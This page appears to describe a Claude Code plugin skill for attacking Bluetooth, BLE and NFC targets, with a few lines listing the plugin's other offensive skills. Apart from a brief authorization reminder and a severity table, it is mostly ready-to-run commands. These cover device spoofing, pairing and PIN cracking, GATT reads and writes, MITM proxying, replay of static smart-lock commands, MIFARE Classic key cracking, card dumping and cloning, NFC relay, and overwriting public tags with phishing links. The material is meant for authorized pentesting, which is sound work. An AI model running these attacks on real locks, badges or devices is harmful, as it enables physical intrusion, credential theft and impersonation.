/secskills-offense:attacking-bluetooth-nfcfrom secskills-offense
Attack Bluetooth Classic, BLE, and NFC targets: enumeration, GATT exploitation, MITM/replay, sniffing, MIFARE cracking, card cloning, relay attacks. For pentesting BLE peripherals, IoT devices, and NFC access controls.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Bluetooth and NFC share a property with early Wi-Fi -- the protocols were designed for convenience in a trusted physical environment, and the trust assumption no longer holds. BLE devices routinely transmit sensitive data in cleartext because the GATT characteristic was "internal", and NFC access cards rely on cryptography that was broken years ago. Physical proximity is not access control.
Scope and authorization. RF work has a legal profile the rest of pentesting does not, because you cannot confine a radio to the target:
Get physical-site authorization, an RF testing window, and a device inventory in writing — and carry the authorization letter, because RF testing is the scenario where you are most likely to be physically challenged mid-test.
attacking-wireless-networksanalyzing-firmware-imagestesting-mobile-applicationshcitool scan # Discoverable devices
hcitool inq # Extended inquiry (class, RSSI)
hcitool info AA:BB:CC:DD:EE:FF # Name, class, features
hciconfig -a # Local adapters
# bluetoothctl interactive
bluetoothctl
# scan on / devices / info AA:BB:CC:DD:EE:FF
# SDP enumeration
sdptool browse AA:BB:CC:DD:EE:FF # All services
sdptool search SP AA:BB:CC:DD:EE:FF # Serial Port profile
sdptool search OPUSH AA:BB:CC:DD:EE:FF # OBEX Push
# Connect to RFCOMM channel
rfcomm connect /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
screen /dev/rfcomm0 115200 # Interact as serial device
spooftooph -i hci0 -a AA:BB:CC:DD:EE:FF # Spoof BT identity
btcrack <bd_addr_file> <pairing_capture> # Offline PIN cracking
crackle -i capture.pcap -o decrypted.pcap # Crack BLE legacy pairing TK
hcitool lescan # Discover BLE devices
bettercap -eval "ble.recon on" # bettercap discovery
# ble.enum AA:BB:CC:DD:EE:FF # Enumerate services
# gatttool interactive
gatttool -b AA:BB:CC:DD:EE:FF -I
# connect / primary / characteristics / char-desc
# char-read-hnd 0x000e # Read by handle
# char-write-req 0x000e 0100 # Write value
# char-write-req 0x000f 0100 # Enable notifications
# bettercap GATT operations
# ble.read AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid>
# ble.write AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid> <hex>
nRF Connect (mobile or desktop) is often fastest for interactive GATT browsing. Document findings with screenshots for characteristic UUIDs and properties.
BLE "Just Works" provides no MITM protection. The Temporary Key is zero, so any observer within range can derive the Short-Term Key and decrypt traffic. If the device uses Just Works, report it -- Secure Connections with numeric comparison or passkey entry is the minimum.
# GATTacker -- clone peripheral, proxy all GATT traffic
node scan.js
node advertise.js -a <target_mac> # Fake peripheral
node central.js -a <target_mac> # Proxy to real device
# BtleJuice (two BLE adapters required)
btlejuice -u <ws_url> -w # Core: connects to real device
btlejuice-proxy -i hci1 # Proxy: advertises as clone
# Web UI on port 8080 for intercept/modify
Many BLE devices use static values for commands (unlock, configure). Capture the characteristic value, replay it from your own connection. If no nonce, counter, or session binding exists, the device accepts it.
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0031 # Capture
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0031 -n <hex> # Replay
Common in smart locks, BLE-enabled safes, and IoT actuators.
Plaintext characteristics. IoT devices frequently expose Wi-Fi credentials, device tokens, and configuration on readable GATT characteristics without authentication. Enumerate and read everything.
Unsigned DFU. If Device Firmware Update over BLE lacks signature verification, modified firmware images are accepted. Look for Nordic DFU Service (UUID 0xFE59) or similar OTA services.
# Ubertooth One (Classic)
ubertooth-rx -l <LAP> # Follow specific connection
ubertooth-rx -r /tmp/bt.pcap # Pipe to Wireshark
ubertooth-specan # Spectrum analysis
# nRF52840 dongle (BLE)
# Flash nRF Sniffer firmware, then:
wireshark -k -i /dev/ttyACM0 # Select device in toolbar
Wireshark filters: btle.advertising_header (advertising),
btatt.handle == 0x000e (specific handle), btsmp (pairing traffic).
Use btbb plugin for Ubertooth Classic captures.
proxmark3 /dev/ttyACM0 # Start client
# Card identification
hf search # High-frequency
lf search # Low-frequency
# MIFARE Classic operations
hf mf autopwn # Try defaults, then nested/hardnested
hf mf dump # Dump entire card
hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF # Nested attack
hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4 --ta # Hardnested
# Clone and emulate
hf mf restore # Write dump to blank card
hf mf sim --1k # Emulate card
hf mf csetuid --uid <8_hex> # Set UID on magic card
Crypto1 is broken. Key recovery takes seconds to minutes.
Attack hierarchy:
If MIFARE Classic is the sole access control credential, the finding is critical.
DESFire uses AES/3DES -- direct key recovery is not feasible. Focus on default application keys (often all zeros), key diversification weaknesses, and whether the backend validates beyond UID.
nfc-list # List NFC devices
nfc-mfclassic r a dump.mfd # Read card
nfc-mfclassic w a dump.mfd # Write card
hf 14a reader # Read card UID
hf mf autopwn # Crack keys
hf mf dump # Dump contents
hf mf cload # Write to magic clone card
Many access control systems check only UID, not encrypted sector data. UID cloning is trivial and defeats these deployments entirely.
NFC relay forwards card communication over a network link in real time. Two Android devices running NFCGate: one near the reader, one near the victim's card. The reader sees a valid interaction despite the card being physically elsewhere. Defeats proximity assumptions.
hf mfu ndefread # Read NDEF data
# May contain: URLs, Wi-Fi credentials, BT pairing data, app data
Writable NFC tags in public spaces can be overwritten with malicious NDEF records (phishing URLs, rogue Wi-Fi provisioning).
| Finding | Severity | Notes |
|---|---|---|
| Static BLE pairing / Just Works | High | Passive eavesdropping, MITM |
| Unencrypted GATT characteristics | High | No pairing required to read |
| Replay of static BLE commands | High | No nonce or session binding |
| Default Bluetooth Classic PINs | Medium | 0000/1234, brute-forceable |
| MIFARE Classic access control | Critical | Crypto1 broken; minutes to crack |
| UID-only access validation | Critical | Trivial cloning |
| Unsigned BLE DFU | High | Arbitrary code on device |
| Writable NFC tags, no auth | Medium | Content replacement |
| No mutual authentication | High | Any central can connect |
| Default DESFire app keys | High | All-zero on initial deploy |
"The device is only accessible within Bluetooth range." Range extenders, directional antennas, and relay attacks stretch 10 meters to 100. Proximity is not a security boundary.
"We use BLE encryption." Without Secure Connections, the Temporary Key is zero and traffic is decryptable by any passive observer.
"The NFC cards use encryption (MIFARE Classic)." Crypto1 has been publicly broken since 2008. Key recovery takes minutes.
"Physical access is required, so the risk is low." A badge on a lanyard and a BLE device on a shelf are within reach of anyone who can walk through a lobby.
"We will detect cloned cards at the backend." Most deployments do not correlate usage patterns or detect concurrent use. Verify with evidence.
"The BLE characteristic is not documented." GATT enumeration is automatic. Every characteristic is discoverable in seconds.
"Our BLE firmware updates use a proprietary format." Proprietary format is not a signing mechanism. No signature check means the update is replaceable.
attacking-wireless-networks -- Wi-Fi attacks and wireless reconnaissanceanalyzing-firmware-images -- extracting and analyzing device firmwaretesting-mobile-applications -- mobile app testing beyond the BLE layerengineering-detections -- detection rules for Bluetooth and NFC abuseWhat SKILL.md sets; muted values are Claude Code's defaults
2 plugins ship this exact skill · first indexed Jul 31, 2026
40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.npx claudepluginhub trilwu/secskills --plugin secskills-offenseOther plugins' skills for the same job